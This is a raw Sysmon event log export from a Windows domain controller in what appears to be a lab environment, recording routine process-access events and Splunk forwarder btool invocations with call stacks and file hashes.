09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004828Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004827Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004826Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004825Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004824Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004823Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-0101-000000007F01}1224C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004822Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004821Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-294E-5F80-0001-000000007F01}48961588C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294E-5F80-0101-000000007F01}1224C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004820Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.187{A5F018FF-294E-5F80-0101-000000007F01}1224C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294E-5F80-0001-000000007F01}4896C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list general --no-log 10341000x80000000000000004819Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-0001-000000007F01}4896C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004818Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004817Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004816Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004815Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004814Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004813Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004812Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004811Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004810Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004809Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-0001-000000007F01}4896C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004808Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.180{A5F018FF-294E-5F80-FF00-000000007F01}8084996C:\Windows\system32\cmd.exe{A5F018FF-294E-5F80-0001-000000007F01}4896C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004807Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.182{A5F018FF-294E-5F80-0001-000000007F01}4896C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294E-5F80-FF00-000000007F01}808C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list general --no-log 10341000x80000000000000004806Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-FF00-000000007F01}808C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004805Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004804Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004803Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004802Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 